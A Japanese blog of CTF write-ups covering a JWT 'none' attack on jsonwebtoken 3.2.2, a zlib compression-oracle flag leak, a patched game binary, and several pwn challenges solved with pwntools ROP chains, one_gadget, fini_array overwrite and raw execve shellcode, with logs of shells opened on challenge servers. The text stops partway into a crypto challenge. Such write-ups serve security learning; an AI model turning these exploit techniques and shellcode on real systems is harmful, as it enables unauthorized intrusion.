もふもふ

くんかくんか

jsonwebtoken 3.2.2 ではnone attackは通らないよ

これは何

BCACTF 2.0でjsonwebtoken version 3.2.2にある脆弱性を使って解く問題が出題された。 jwtで認証が行われており、RS256をHS256に書き換えて公開鍵を対称暗号鍵にすり替えて認証を突破する問題であった。 のだが、なぜかnoneで通るんじゃねとか思ってしまい敗北したのでそれの反省記録。

L10N Poll

正しい解き方は他のWriteUpにも書かれているので保留。 とにかくいじったJWTがjwt.verifyを突破したい。

router.get("/localisation-file", async ctx => {
    const token = ctx.cookies.get("lion-token");
    /** @type {string} */
    let language;
    console.log(token)
    if (token) {
        const payload = await new Promise((resolve, reject) => {
            try {
                jwt.verify(token, publicKey, (err, result) => err ? reject(err) : resolve(result));
            } catch (e) {
                reject(e);
            }
        });
        console.log(payload)
        language = payload.language;
    } else {
        language = languages[Math.floor(Math.random() * languages.length)].id;
        ctx.cookies.set("lion-token", generateToken(language));
    }
    await send(ctx, language, {root: __dirname});
});

jsonwebtokenのコードがこちら

module.exports.verify = function(jwtString, secretOrPublicKey, options, callback) {
  if ((typeof options === 'function') && !callback) {
    callback = options;
    options = {};
  }

  if (!options) options = {};

  var done;

  if (callback) {
    done = function() {
      var args = Array.prototype.slice.call(arguments, 0);
      return process.nextTick(function() {
        callback.apply(null, args);
      });
    };
  } else {
    done = function(err, data) {
      if (err) throw err;
      return data;
    };
  }

  if (!jwtString){
    return done(new JsonWebTokenError('jwt must be provided'));
  }

  var parts = jwtString.split('.');

  if (parts.length !== 3){
    return done(new JsonWebTokenError('jwt malformed'));
  }

  // ポイント
  if (parts[2].trim() === '' && secretOrPublicKey){
    return done(new JsonWebTokenError('jwt signature is required'));
  }

  var valid;

 // ここが認証本体
  try {
    valid = jws.verify(jwtString, secretOrPublicKey);
  } catch (e) {
    return done(e);
  }

  if (!valid)
    return done(new JsonWebTokenError('invalid signature'));

  var payload;

  try {
   payload = this.decode(jwtString);
  } catch(err) {
    return done(err);
  }

  if (typeof payload.exp !== 'undefined') {
    if (typeof payload.exp !== 'number') {
      return done(new JsonWebTokenError('invalid exp value'));
    }
    if (Math.floor(Date.now() / 1000) >= payload.exp)
      return done(new TokenExpiredError('jwt expired', new Date(payload.exp * 1000)));
  }

  if (options.audience) {
    var audiences = Array.isArray(options.audience)? options.audience : [options.audience];
    var target = Array.isArray(payload.aud) ? payload.aud : [payload.aud];

    var match = target.some(function(aud) { return audiences.indexOf(aud) != -1; });

    if (!match)
      return done(new JsonWebTokenError('jwt audience invalid. expected: ' + payload.aud));
  }

  if (options.issuer) {
    if (payload.iss !== options.issuer)
      return done(new JsonWebTokenError('jwt issuer invalid. expected: ' + payload.iss));
  }

  return done(null, payload);
};

大事なのは次の部分。

  if (parts[2].trim() === '' && secretOrPublicKey){
    return done(new JsonWebTokenError('jwt signature is required'));
  }

実際に認証を行っているjws.verifyのコードがこちら。

function jwsVerify(jwsSig, secretOrKey) {
  jwsSig = toString(jwsSig);
  const signature = signatureFromJWS(jwsSig);
  const securedInput = securedInputFromJWS(jwsSig);
  const algo = jwa(algoFromJWS(jwsSig));
    console.log(algo)
  return algo.verify(securedInput, signature, secretOrKey);
}

jwaで今回走るコードはこちら。

module.exports = function jwa(algorithm) {
  const signerFactories = {
    hs: createHmacSigner,
    rs: createKeySigner,
    es: createECDSASigner,
    none: createNoneSigner,
  }
  const verifierFactories = {
    hs: createHmacVerifier,
    rs: createKeyVerifier,
    es: createECDSAVerifer,
    none: createNoneVerifier,
  }

見ての通りnoneは確かにサポートされておりここを見てnoneアタック行けるやんと思い込んでしまった。 もうちょっと読み進めたらうまく行かないことがわかるので猛省すべし。

algorithmがnoneであるときのVerifierコードはこちら。

function createNoneVerifier() {
  return function verify(thing, signature) {
      console.log(signature)
    return signature === '';
  }
}

signature===''ならOKということである。

ところが上でポイントと記したjsonwebtokenのコードを見てみると、verifyの引数のsecretOrPublicKeyに何か渡されているときsignatureが空なら例外を投げるようになっている。

  if (parts[2].trim() === '' && secretOrPublicKey){
    return done(new JsonWebTokenError('jwt signature is required'));
  }

したがってnoneに書き換えたtokenを投げたとき

  • signature === '' ならjsonwebtoken側のチェックで弾かれる。
  • signature !== '' ならjwaのチェックで弾かれる。

という流れになりnone attackは成立しない。ちゃんとコードは読もう。

また、jsonwebtokenでnoneを使いたいときは引数にnoneを渡すことで動作する。

まとめ

コミットログとかも読むべし。 ちゃんとコードは読もう。

github.com

ICHSA CTF 2021

zlib問題初めて触ったのでメモ

crime_cloud

次のようなサービスが動いてる。

import base64
import os
import zlib


def rand(n):
    return os.urandom(n)

def xor(a,b):
    return bytes(x^y for x,y in zip(a,b))

def enc_otp(pt):
    return xor(pt, rand(len(pt)))

def process(req):
    pt = zlib.compress(b"ICHSA_CTF{fake_flag_to_annoy_you_pay_us_ten_thousand_BTC}" + rand(32) + req)
    return enc_otp(pt)


def main():
    print("Wellcome!\nInput an empty line to exit.")
    while True:
        req = input("\nYour input: ")
        if len(req) == 0:
            print("Bye!")
            break
        req_bytes = req.encode()
        if len(req_bytes) > 128:
            print(f'Bad input length {len(req_bytes)} > 128')
            continue
        print(base64.b64encode(process(req_bytes)).decode())

if __name__ == "__main__":
   try:
      main()
   except:
      print("Some error occured")

最初はos.urandomが細工されてるのじゃないかという明後日な発想で周期を探したりしたがそんなことはなかった。

zlibについて調べるとDeflateというアルゴリズムで圧縮されているらしく、LZ77とハフマン符号を組み合わせているらしい。 LZ77は同じ文字列が複数回出現する場合、ポインタに置き換えて圧縮するらしい。 ”ICHSA_CTF{”というflagに一致する文字列と”ABDOIJGEA"みたいな適当な文字列を送ってレスポンスを見たところ、適当な文字列を送った場合のほうがレスポンスの長さが大きいことがわかった。

乱数が交じるので若干ブレがあったが大体長さが96〜97のとき正しいフラッグが得られているっぽかったので、ソースコードにちまちま追記しながらフラッグを読んだ。

import pwn
import base64
import string

io = pwn.remote("crime.ichsa.ctf.today", 8008)

rand_initial = None
previous = None
first_value = None
cycle_list = []
i=0
flag = "ICHSA_CTF{compressing_secret_with_input_is_a_crime"
#flag = "ICHSA_CTF{" # 最初はここから初めて↑のように継ぎ足して行った。

def bt(io, flag):
    for i in string.ascii_lowercase + "_}":
        print(io.readuntil('Your input: '))
        payload = flag + i
        io.sendline(payload)
        res = io.readline()[:-1]
        print(res)
        print("length: ", len(res))
        zlibdata = base64.b64decode(res)
        print("b64decode len: ", len(zlibdata))
        if len(zlibdata) in [95, 96, 97]:
            print(flag+i)
            bt(io, flag + i)
        else:
            return None

bt(io, flag)

flag: ICHSA_CTF{compressing_secret_with_input_is_a_crime}

super super mario

スーパーマリオのゲームのコピー?っぽいバイナリが渡される。 各ステージの一番最後にコインでflagが書かれている。 制限時間が少なく普通に遊ぶと1面クリアが精一杯である。

バイナリを読んでいき、時間を減少させている場所をnopで埋めて、死亡処理関数をすぐreturnするように書き換えた。

< uMario:     file format elf64-x86-64
---
> custom_uMario:     file format elf64-x86-64
22123c22123,22125
<    53a85:  8d 50 ff                lea    -0x1(%rax),%edx
---
>    53a85:  90                      nop
>    53a86:  90                      nop
>    53a87:  90                      nop
106547c106549
<    ab846:  55                      push   %rbp
---
>    ab846:  c3                      retq   
106769c106771,106773
<    abc2f:  83 e8 01                sub    $0x1,%eax
---
>    abc2f:  90                      nop
>    abc30:  90                      nop
>    abc31:  90                      nop

あとは普通に遊んでゴールまでたどり着いて読んでいった。 死なないのにめっちゃ苦労したとか言えない

f:id:b_tya_nya:20210603175300p:plain

flag: ICHSA_CTF{R3VERS1NG_IS_NO7_SCA!}

dctf 2021 write up

ちょろっとだけやった。pwnのみ。

baby bof

バイナリとDockerfileが渡される。 題名通り、シンプルなバッファーオーバーフロー問題。 まずはchecksec

[*] '/home/test/dctf/pwn/baby_bof/baby_bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

脆弱性箇所のでコンパイル結果は次の通り。

void vuln(void)
{
  undefined *local_res0;
  char local_12 [10];
  undefined *local_8;
  
  puts("plz don\'t rop me");
  fgets(local_12,0x100,stdin);
  puts("i don\'t think this will work");
  return;
}

syscall gadgetがなくsystem関数もない。 よってlibcのleakが必要だと判断した。 また、rbxにセットできるgadgetも見つからずfgetsをropで呼ぶことができなかったので、 次のように方針を立てた。

  • puts関数を用いてalarm関数のアドレスを求める。
  • libcのアドレスを求め、onegadgetのアドレスを計算する。
  • 上記vuln関数のfgets前に飛びputs関数のテーブルをonegadgetのアドレスに書き換える。
  • puts関数でシェル起動

one_gadgetは次の通り。

0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

fgets終了後rdxが0になっているのを利用して、2つ目のgadgetを使用することにした。

import pwn
from pwn import *

alarm_addr = 0x601020 #<alarm@GLIBC_2.2.5>

fgets_addr = 0x004004c0 #<fgets@plt>:
puts_addr = 0x004004a0 #<puts@plt>

pop_rsi_r15 = 0x00400681 # pop rsi ; pop r15 ; ret  ;  (1 found)
pop_rdi = 0x00400683 #: pop rdi ; ret  ;  (1 found)
pop_rbp = 0x00400538 # : pop rbp ; ret  ;  (4 found)
ret_gadget = 0x0040048e #: ret  ;  (12 found)

rbp_addr = 0x601018 + 0xa

libc_alarm_offset = 0x0000000000e5f10 #<alarm@@GLIBC_2.2.5>:
one_gadget_offset = 0xe6c81

LOCAL = False
if LOCAL:
    libc_alarm_offset = 0x0000000000de7a0
    one_gadget_offset = 0xdf54f


payload = b'A' * 0x12 # padding

# set rbp
payload += p64(pop_rbp)
payload += p64(rbp_addr)

# leak alarm address
payload += p64(pop_rdi)
payload += p64(alarm_addr)
payload += p64(puts_addr)

# set r15 to 0
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)

# return to fgets
payload += p64(0x04005cb)

if LOCAL:
    io = pwn.process("baby_bof")
    gdb.attach(io)
else:
    io = pwn.remote("dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481)

print(io.readline())
io.sendline(payload)
print(io.readline())

res = io.readline()
print(res)
print(res[:-1].ljust(8, b'\x00'))
libc_alarm_addr = u64(res[:-1].ljust(8, b'\x00'))
libc_base = libc_alarm_addr - libc_alarm_offset
one_gadget_addr = one_gadget_offset + libc_base

print(hex(libc_base))
print(hex(one_gadget_addr))

io.sendline(p64(one_gadget_addr).ljust(16, b'\x00'))

io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/baby_bof$ python3 solv.py 
[+] Opening connection to dctf-chall-baby-bof.westeurope.azurecontainer.io on port 7481: Done
b"plz don't rop me\n"
b"i don't think this will work\n"
b'\x10\x1f\x0f^\xce\x7f\n'
b'\x10\x1f\x0f^\xce\x7f\x00\x00'
0x7fce5e00c000
0x7fce5e0f2c81
[*] Switching to interactive mode
$ ls
baby_bof
flag.txt
startService.sh
$ cat flag.txt
dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to dctf-chall-baby-bof.westeurope.azurecontainer.io port 7481
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/baby_bof$ 

FLAG: dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}

pinch me

シンプルなバッファオーバーフロー問題2。

デコンパイル結果。

void vuln(void)

{
  char local_28 [24];
  
  puts("Is this a real life, or is it just a fanta sea?");
  puts("Am I dreaming?");
  fgets(local_28,100,stdin);
  if (true) {
    if (true) {
      puts("Pinch me!");
    }
    else {
      puts("Pinch me harder!");
    }
  }
  else {
    system("/bin/sh");
  }
  return;
}

system関数の前に戻してやれば良い。

import pwn

ret_addr = 0x04011a1

#io = pwn.process("pinch_me")
io = pwn.remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480)

payload = b''
payload += b'A' * 0x28

payload += pwn.p64(ret_addr)

#pwn.gdb.attach(io)

io.readline()
io.readline()
io.sendline(payload)

io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/pinch_me$ cat log.txt 
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/pinch_me$ python3 solv.py 
[+] Opening connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io on port 7480: Done
[*] Switching to interactive mode
Pinch me harder!
$ ls
flag.txt
pinch_me
startService.sh
$ cat flag.txt
dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}$ 
$ 
[*] Closed connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io port 7480

FLAG: dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}

pwn sanity check

stackの変数を書き換えたらwin関数が走るよ問題。 デコンパイル結果。

void vuln(void)

{
  char local_48 [60];
  uint local_c;
  
  puts("tell me a joke");
  fgets(local_48,0x100,stdin);
  if (local_c == 0xdeadc0de) {
    puts("very good, here is a shell for you. ");
    shell();
  }
  else {
    puts("will this work?");
  }
  return;
}
import pwn

ret_addr = 0x00400697
pop_rsi_r15 = 0x00400811
pop_rdi = 0x00400813

payload = b''
payload += b'A' * 60
payload += pwn.p32(0xdeadc0de)
payload += b'A' * 8

payload += pwn.p64(pop_rsi_r15)
payload += pwn.p64(0x1337c0de)
payload += pwn.p64(0x1337c0de)

payload += pwn.p64(pop_rdi)
payload += pwn.p64(0xdeadbeef)

payload += pwn.p64(ret_addr)

#io = pwn.process("pwn_sanity_check")
io = pwn.remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480)
io.readline()

io.sendline(payload)

io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/pwn_sanity_check$ python3 solv.py 
[+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done
[*] Switching to interactive mode
very good, here is a shell for you. 
spawning /bin/sh process
wush!
$> If this is not good enough, you will just have to try harder :)
you made it to win land, no free handouts this time, try harder
one down, one to go!
2/2 bro good job
$ ls
flag.txt
pwn_sanity_check
startService.sh
$ cat flag.txt
dctf{Ju5t_m0v3_0n}
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io port 7480
[*] Got EOF while sending in interactive

FLAG: dctf{Ju5t_m0v3_0n}

hotel rop

ELFバイナリが渡される。

[*] '/home/test/dctf/pwn/hotel_rop/hotel_rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

バッファーオーバーフローが可能な関数とwin関数、"/bin/sh"を作ってくれる関数が2つ存在する。 デコンパイル結果は次のとおり。

void loss(uint param_1,uint param_2)
{
  if (param_2 + param_1 == -0x21523f22) {
    puts("Dis is da wae to be one of our finest guests!");
    if (param_1 == 0x1337c0de) {
      puts("Now you can replace our manager!");
      system((char *)&win_land);
          /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  return;
}


void california(void)
{
  puts("Welcome to Hotel California");
  puts("You can sign out anytime you want, but you can never leave");
  *(undefined *)((long)&win_land + (long)len) = '/';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 'b';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 'i';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 'n';
  len = len + 1;
  return;
}



void silicon_valley(void)
{
  puts("You want to work for Google?");
  *(undefined *)((long)&win_land + (long)len) = '/';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 's';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 'h';
  len = len + 1;
  *(undefined *)((long)&win_land + (long)len) = 0;
  len = len + 1;
  return;
}


void vuln(void)
{
  char local_28 [28];
  int local_c;
  
  puts("You come here often?");
  fgets(local_28,0x100,stdin);
  if (local_c == 0) {
    puts("Oh! You are already a regular visitor!");
  }
  else {
    puts("I think you should come here more often.");
  }
  return;
}


undefined8 main(void)
{
  alarm(10);
  printf("Welcome to Hotel ROP, on main street %p\n",main);
  vuln();
  return 0;
}

silicon_valley → california → loss の順で呼んでやれば良い。 PIEだがmain関数のアドレスを教えてくれるのでoffsetを用いて必要なアドレスを逆算する。

import pwn
from pwn import *

param1 = 0x1337c0de
param2 = 0xdeadc0de - param1

main_func_offset = 0x000136d
bin_func_offset = 0x00011dc
sh_func_offset = 0x0001283
win_func_offset = 0x0001185
pop_rdi_offset = 0x0000140b #: pop rdi ; ret  ;  (1 found)
pop_rsi_r15_offset = 0x00001409 #: pop rsi ; pop r15 ; ret  ;  (1 found)


#io = pwn.process("hotel_rop")
#gdb.attach(io)
io = pwn.remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480)
b = io.readline()
print(b)
start = len("Welcome to Hotel ROP, on main street ")


main_addr = b[:-1][start:].decode()
main_addr = int(main_addr, 16)
print(hex(main_addr))

elf_base = main_addr - main_func_offset

payload = b'A' * 0x28 # padding
payload += p64(elf_base + bin_func_offset)
payload += p64(elf_base + sh_func_offset)

payload += p64(elf_base + pop_rdi_offset)
payload += p64(param1)

payload += p64(elf_base + pop_rsi_r15_offset)
payload += p64(param2)
payload += p64(param2)

payload += p64(elf_base + win_func_offset)

io.readline()
io.sendline(payload)
io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/hotel_rop$ python3  solv.py 
[+] Opening connection to dctf1-chall-hotel-rop.westeurope.azurecontainer.io on port 7480: Done
b'Welcome to Hotel ROP, on main street 0x5568dbc6436d\n'
0x5568dbc6436d
[*] Switching to interactive mode
I think you should come here more often.
Welcome to Hotel California
You can sign out anytime you want, but you can never leave
You want to work for Google?
Dis is da wae to be one of our finest guests!
Now you can replace our manager!
$ ls
flag.txt
hotel_rop
startService.sh
$ cat flag.txt
dctf{ch41n_0f_h0t3ls}$ 
$ 
[*] Closed connection to dctf1-chall-hotel-rop.westeurope.azurecontainer.io port 7480

FLAG: dctf{ch41n_0f_h0t3ls}

magic trick

好きなアドレスに好きな値を一度だけ書き込めるelfが渡される。 さらにwin関数が用意されてる。

void win(void)
{
  puts("You are a real magician");
  system("cat flag.txt");
          /* WARNING: Subroutine does not return */
  exit(1);
}


void magic(void)
{
  long in_FS_OFFSET;
  undefined8 local_28;
  undefined8 *local_20;
  undefined8 *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("What do you want to write");
  __isoc99_scanf("%llu",&local_28);
  puts("Where do you want to write it");
  __isoc99_scanf("%llu",&local_20);
  puts("thanks");
  local_18 = local_20;
  *local_20 = local_28;
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
          /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


undefined8 main(void)
{
  alarm(10);
  puts("How about a magic trick?");
  puts("");
  magic();
  return 0;
}

この手の問題は次のように解く。

  • 任意アドレス書き換え可能
  • win関数がある
  • fini_arrayがある

上記条件が成立するときwin関数のアドレスをfini_arrayに書き込めば良い。

fini_array = 0x000000000600a00
win_addr = 0x000000000400667

print(win_addr)
print(fini_array)
test@test-Standard-PC-i440FX-PIIX-1996:~/dctf/pwn/magic_trick$ python3 solv.py | nc dctf-chall-magic-trick.westeurope.azurecontainer.io 7481
How about a magic trick?

What do you want to write
Where do you want to write it
thanks
You are a real magician
dctf{1_L1k3_M4G1c}

PIEではなかったのでアドレス直書き。

FLAG: dctf{1_L1k3_M4G1c}

heroctf v3

供養3。

RiteOfPassage

elfが一個渡される。 checksec

[*] '/home/test/heroctf/riteofpassage/RiteOfPassage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ghidraデコンパイルで次のようになった。

undefined8 main(void)

{
  int iVar1;
  char local_178 [360];
  int local_c;
  
  setbuf((FILE *)stdout,(char *)0x0);
  printf("Please, give us your thoughts about our client service :\n>>>");
  gets(local_178);
  iVar1 = strlen(local_178);
  printf("I am now going to translate your sentence to computer");
  while (local_c < iVar1) {
    printf("%02x",(ulong)(uint)(int)local_178[local_c]);
    local_c = local_c + 1;
  }
  puts("We actually don\'t care about what you think. Bye.");
  return 0;
}

getsがバッファーオーバーフローを起こしている。 あとchecksecはカナリーありと出てるけどmainにカナリーが見当たらない。なぜかは知らない。

問題文がシェルコードわかってる?的な感じだったのでshellcode実行問題と当たりをつける。 rp++でガジェット一覧をみるとsyscallが用意されていたのでropで直接execする方針を立てる。

どこかに文字列'/bin/sh'と文字列の先頭を指すアドレスを置きたいので適当に読み書き可能かつ使われてなさそうなrandtbl(0x4af080)に置くことにした。

read(stdin, 0x4af080, size)

exec(0x4af080, 0x4af080+16, 0)

と呼んで最初のreadでshellcodeを入力する。

以下ソルバ

import pwn

pop_rdi_ret_gadget = 0x00401a31 # pop rdi ; ret  ;  (158 found)
pop_rsi_ret_gadget = 0x0040890e # pop rsi ; ret  ;  (38 found)
pop_rdx_ret_gadget = 0x0040176f # pop rdx ; ret  ;  (1 found)
xor_eax_eax_gadget = 0x004021c2 # xor eax, eax ; ret  ;  (84 found)
add_eax_0x01_gadget = 0x00468b51 # add eax, 0x01 ; ret  ;
syscall_gadget = 0x004011fe # syscall  ;  (167 found)
syscall_ret_gadget = 0x00415ab4 # syscall  ; ret  ;  (8 found)

buffer_addr = 0x4af080 # buffer addr

binshell = pwn.p32(0x6e69622f) + pwn.p32(0x0068732f) + b'\x00' * 8 + pwn.p64(buffer_addr).ljust(8, b'\x00') + b'\x00' * 8

if len(binshell) != 32:
    raise


payload = b'A' * 0x178  # padding

####  Call Read ####

payload += pwn.p64(pop_rdi_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(0x0).ljust(8, b'\x00')
payload += pwn.p64(pop_rsi_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(buffer_addr).ljust(8, b'\x00')
payload += pwn.p64(pop_rdx_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(32).ljust(8, b'\x00')

payload += pwn.p64(xor_eax_eax_gadget).ljust(8, b'\x00')

payload += pwn.p64(syscall_ret_gadget).ljust(8, b'\x00')

payload += pwn.p64(pop_rdi_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(buffer_addr).ljust(8, b'\x00')
payload += pwn.p64(pop_rsi_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(buffer_addr+16).ljust(8, b'\x00')
payload += pwn.p64(pop_rdx_ret_gadget).ljust(8, b'\x00')
payload += pwn.p64(0).ljust(8, b'\x00')
payload += pwn.p64(xor_eax_eax_gadget).ljust(8, b'\x00')
for i in range(0x3b):
    payload += pwn.p64(add_eax_0x01_gadget).ljust(8, b'\x00')
payload += pwn.p64(syscall_ret_gadget).ljust(8, b'\x00')



#io = pwn.process("RiteOfPassage")
io = pwn.remote('pwn.heroctf.fr', 9002)

#pwn.gdb.attach(io)

print(io.recvuntil('>>>'))
io.sendline(payload)
print(io.recvuntil('Bye.'))
io.sendline(binshell)

io.interactive()

hackpack21

ちょっと前供養2。

Mind Blown

elfを渡される。ソースコードなし。 checksec

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

stackがRWXとなっている。

ghidraに放り投げたらきれいにデコンパイルできた。必要な関数は以下の通り。

int main(int argc,char **argv)

{
  undefined *ret;
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  if (argc == 1) {
    readProgramFromStdin();
  }
  else {
    if (argc != 2) {
      printf("Unexpected number of argments: %d\n",argc);
          /* WARNING: Subroutine does not return */
      exit(-1);
    }
    readProgramFromFile(argv[1]);
  }
  runProgram();
  return 0;
}
void readProgramFromStdin(void)

{
  long in_FS_OFFSET;
  int programSize;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Number of characters in your program: ");
  __isoc99_scanf(&DAT_00402073,&programSize);
  fgetc(stdin);
  printf("Program size is: %d\n",(ulong)(uint)programSize);
  if (0x2000000 < programSize) {
    puts("That program is too large!");
    puts("Goodbye...");
          /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts("Enter your program text below:");
  fread(programText,1,(long)programSize,stdin);
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
          /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
void runProgram(void)

{
  int64_t iVar1;
  int64_t iVar2;
  char cVar3;
  int iVar4;
  long lVar5;
  long lVar6;
  undefined8 *puVar7;
  long in_FS_OFFSET;
  undefined *local_res0;
  char data [4096];
  long local_18;
  long stack_canary;
  undefined *rbp_cache;
  
  stack_canary = *(long *)(in_FS_OFFSET + 0x28);
  data._0_8_ = 0;
  data._8_8_ = 0;
  lVar5 = 510;
  puVar7 = (undefined8 *)(data + 0x10);
  while (lVar5 != 0) {
    lVar5 = lVar5 + -1;
    *puVar7 = 0;
    puVar7 = puVar7 + 1;
  }
  programCounter = 0;
  cVar3 = programText[0];
  if (programText[0] != '\0') {
    do {
      iVar1 = programCounter;
      if (true) {
        switch(cVar3) {
        case '+':
          data[dataPointer] = data[dataPointer] + '\x01';
          break;
        case ',':
          iVar4 = getc(stdin);
          data[dataPointer] = (char)iVar4;
          break;
        case '-':
          data[dataPointer] = data[dataPointer] + -1;
          break;
        case '.':
          putc((int)data[dataPointer],stdout);
          break;
        case '<':
          if (dataPointer == 0) {
          /* WARNING: Subroutine does not return */
            exit(-1);
          }
          dataPointer = dataPointer + -1;
          break;
        case '>':
          dataPointer = dataPointer + 1;
          break;
        case '[':
          if (data[dataPointer] == '\0') {
            if (validBracketPair[programCounter] == false) {
              if (programText[programCounter + 1] != '\0') {
                cVar3 = programText[programCounter + 1];
                if (cVar3 != '\0') {
                  lVar6 = 1;
                  lVar5 = programCounter;
                  do {
                    programCounter = lVar5 + 1;
                    if (cVar3 == '[') {
                      lVar6 = lVar6 + 1;
                    }
                    else {
                      lVar6 = lVar6 - (ulong)(cVar3 == ']');
                    }
                    cVar3 = programText[lVar5 + 2];
                  } while ((cVar3 != '\0') && (lVar5 = programCounter, lVar6 != 0));
                }
                iVar2 = programCounter;
                bracketPairs[iVar1] = programCounter;
                validBracketPair[iVar1] = true;
                bracketPairs[iVar2] = iVar1;
                validBracketPair[iVar2] = true;
              }
            }
            else {
              programCounter = bracketPairs[programCounter];
            }
          }
          break;
        case ']':
          if (data[dataPointer] != '\0') {
            if (validBracketPair[programCounter] == false) {
              if (programCounter != 0) {
                if (0 < programCounter) {
                  lVar6 = 1;
                  lVar5 = programCounter;
                  do {
                    programCounter = lVar5 + -1;
                    if ((&DAT_124040bf)[lVar5] == ']') {
                      lVar6 = lVar6 + 1;
                    }
                    else {
                      lVar6 = lVar6 - (ulong)((&DAT_124040bf)[lVar5] == '[');
                    }
                  } while ((lVar6 != 0) && (lVar5 = programCounter, 0 < programCounter));
                }
                iVar2 = programCounter;
                bracketPairs[iVar1] = programCounter;
                validBracketPair[iVar1] = true;
                bracketPairs[iVar2] = iVar1;
                validBracketPair[iVar2] = true;
              }
            }
            else {
              programCounter = bracketPairs[programCounter];
            }
          }
        }
      }
      lVar5 = programCounter + 1;
      lVar6 = programCounter + 1;
      programCounter = lVar5;
      cVar3 = programText[lVar6];
    } while (programText[lVar6] != '\0');
  }
  if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
          /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

pwnable.krで見かけたようなstack上でbrainfuckするプログラム。 ポインターの位置を動かしていって、

  1. 退避されたrbpを読み取る。

  2. rbpから計算してreturnアドレスをstack上に書き換える。

  3. stack上にシェルコードを置く(RWXなので)

以下ソルバ

import pwn


io = pwn.process('mind-blown')
#io = pwn.connect("ctf2021.hackpack.club", 10996)
shell_code = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

ret_offset = 0x1018
rbp_offset = 0x1018 - 0x8

payload = b''
payload += b'>' * rbp_offset  # move pointer to rbp_cache
payload += b'.>' * 8  # read rbp
payload += b',>' * 8  # write ret address
payload += b',>' * len(shell_code) # write shellcode

print(io.recvuntil('in your program: '))
io.sendline(str(len(payload)))
print(io.recvuntil('text below:\n'))
io.send(payload)
stack_addr = io.read(8)
ret_addr = pwn.u64(stack_addr) - 0x10
io.send(pwn.p64(ret_addr))
io.send(shell_code)

io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/hackpack21/mind_blown$ python3 solv_smart.py 
[+] Opening connection to ctf2021.hackpack.club on port 10996: Done
b'Number of characters in your program: '
b'Program size is: 4198\nEnter your program text below:\n'
[*] Switching to interactive mode
$ whoami
ctf
$ ls
flag
mind-blown
$ cat flag
flag{y0u_jusT_bl3w_mY_m1Nd!}
$ 
[*] Closed connection to ctf2021.hackpack.club port 10996

angstromctf 21 writeup

人力パスワードGuessでHatenaにログインできた記念。 ちょっと前のやつだけどせっかく解いたので供養。

archaic

降ってきた.tar.gz解凍したらフラグが生えた。よくわからない

flag: actf{thou_hast_uncovered_ye_ol_fleg}

fish

画像が降ってくる。gimpでalphaを0にしたらフラグが生えた。

f:id:b_tya_nya:20210507122113p:plain

hello rolled crypto

いわゆるオレオレ3段階Block暗号を解く問題。 適当な入力とその暗号文のペアとFlagの暗号文を得ることができる。

各段階は16bytesずつ行われる。

P := 入力

Kn := n段階目の鍵

On := n段階目の出力

